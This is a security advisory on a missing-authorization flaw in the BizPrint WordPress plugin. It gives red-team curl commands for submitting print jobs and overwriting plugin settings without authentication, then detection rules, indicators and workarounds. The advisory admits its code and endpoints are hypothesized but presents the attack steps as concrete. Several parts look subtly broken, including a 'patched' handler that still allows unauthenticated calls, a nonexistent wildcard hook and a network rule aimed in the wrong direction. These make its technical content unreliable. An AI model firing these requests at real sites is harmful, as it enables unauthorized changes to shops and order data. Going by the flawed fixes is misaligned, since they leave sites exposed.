CVE-2025-69024

Executive Summary

CVE-2025-69024 is a Missing Authorization vulnerability in the BizPrint WordPress plugin (versions <= 4.6.7). This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access, modification, or privilege escalation. The vulnerability resides in the plugin's handling of Google Cloud Print (GCP) and WooCommerce integration, where critical functions lack proper capability checks. As a WordPress plugin vulnerability, it affects sites running the BizPrint plugin and does not involve Apache or Nginx server software directly.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The BizPrint plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The medium severity rating reflects the ease of exploitation (no authentication required) but limited direct impact. However, in a WordPress context, this could be chained with other vulnerabilities to achieve full site compromise.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the BizPrint plugin's AJAX handlers and REST API endpoints. The plugin integrates Google Cloud Print and WooCommerce printing functionality, exposing functions that should require administrative or shop manager privileges. Without proper current_user_can() checks, any unauthenticated user can invoke these functions.

Key affected components likely include:

• Print job submission endpoints
• Printer configuration settings
• Order printing history access
• Plugin settings modification

The flaw is classified under CWE-862 (Missing Authorization), indicating that the software does not perform any authorization check for an actor attempting to access a resource or perform an action.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is hypothesized based on common WordPress plugin authorization failures.

Vulnerable Code (hypothetical):

add_action('wp_ajax_nopriv_bizprint_submit_print', 'bizprint_handle_print');
function bizprint_handle_print() {
    // No capability check
    $order_id = $_POST['order_id'];
    // Process print job...
}

Patched Code (hypothetical):

add_action('wp_ajax_bizprint_submit_print', 'bizprint_handle_print');
add_action('wp_ajax_nopriv_bizprint_submit_print', 'bizprint_handle_print');
function bizprint_handle_print() {
    if (!current_user_can('manage_woocommerce') && !current_user_can('shop_manager')) {
        wp_die('Unauthorized', 403);
    }
    $order_id = intval($_POST['order_id']);
    // Process print job...
}

The patched version adds a capability check before processing the request and uses intval() for input sanitization.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with BizPrint plugin <= 4.6.7 installed and activated
• WooCommerce plugin active
• Network access to the target

Exploitation Steps:

1. Enumerate vulnerable endpoints:

   curl -s "http://target/wp-json/bizprint/v1/print" | jq .
   

2. Submit unauthorized print job:

   curl -X POST "http://target/wp-admin/admin-ajax.php" \
     -d "action=bizprint_submit_print&order_id=123&printer_id=1"
   

3. Access printer configuration:

   curl "http://target/wp-admin/admin-ajax.php?action=bizprint_get_printers"
   

4. Modify plugin settings:

   curl -X POST "http://target/wp-admin/admin-ajax.php" \
     -d "action=bizprint_update_settings&api_key=attacker_controlled"
   

Expected Outcome: Unauthorized access to print job data, modification of printer configurations, or potential privilege escalation if combined with other vulnerabilities.

Blue Team

Detection Steps:

1. Monitor for unusual AJAX requests:

   • Look for action=bizprint_* parameters in requests from unauthenticated users
   • Check for repeated access to /wp-admin/admin-ajax.php with BizPrint actions

2. Review access logs:

   grep "bizprint" /var/log/nginx/access.log | grep -v "HTTP/1.1\" 200"
   

3. Check for unauthorized configuration changes:

   SELECT * FROM wp_options WHERE option_name LIKE '%bizprint%';
   

4. Implement virtual patching:

   location ~ /wp-admin/admin-ajax.php {
       if ($arg_action ~* "^bizprint_") {
           return 403;
       }
   }
   

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action=bizprint_* parameters from unauthenticated sources
• GET requests to /wp-json/bizprint/v1/* endpoints
• Unusual print job submissions for orders not belonging to the requesting user

File IOCs:

• Modified plugin files in /wp-content/plugins/bizprint/
• Unexpected files in /wp-content/uploads/bizprint/
• New admin users created with suspicious roles

Log IOCs:

• Repeated 403 errors followed by 200 responses on BizPrint endpoints
• AJAX requests with missing _ajax_nonce or invalid nonces
• Database entries in wp_postmeta with bizprint_ keys for unauthorized orders

Detection Engineering

YARA Rule

rule CVE_2025_69024_BizPrint_Missing_Auth {
    meta:
        description = "Detects BizPrint plugin files with missing authorization checks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69024"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    
    strings:
        $ajax_handler = /add_action\(['\"]wp_ajax_nopriv_bizprint_/
        $missing_cap = /current_user_can\(/
        $dangerous_func = /update_option|delete_option|wp_insert_post/
    
    condition:
        $ajax_handler and not $missing_cap and $dangerous_func
}

Sigma Rule

title: CVE-2025-69024 BizPrint Missing Authorization Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of missing authorization in BizPrint plugin
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69024
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=bizprint_'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-69024 BizPrint Missing Authorization Exploitation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=bizprint_"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-69024;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the BizPrint plugin until a patch is available
2. Implement Web Application Firewall (WAF) rules to block unauthenticated access to BizPrint endpoints
3. Review and revoke any suspicious user accounts or API keys

Long-term Fixes:

1. Apply vendor patch when released (monitor bizswoop.com for updates)
2. Replace BizPrint with an alternative printing solution that follows secure coding practices
3. Conduct code audit of all WordPress plugins for similar authorization flaws

Workaround Configuration:

// Add to theme's functions.php
add_action('init', function() {
    if (defined('BIZPRINT_VERSION') && version_compare(BIZPRINT_VERSION, '4.6.7', '<=')) {
        add_action('wp_ajax_nopriv_*', function() {
            if (strpos(current_filter(), 'bizprint') !== false) {
                wp_die('Plugin disabled due to security vulnerability', 403);
            }
        }, 1);
    }
});

Valters IT
Securing Digital Frontiers
This report is provided for authorized security testing and defensive purposes only.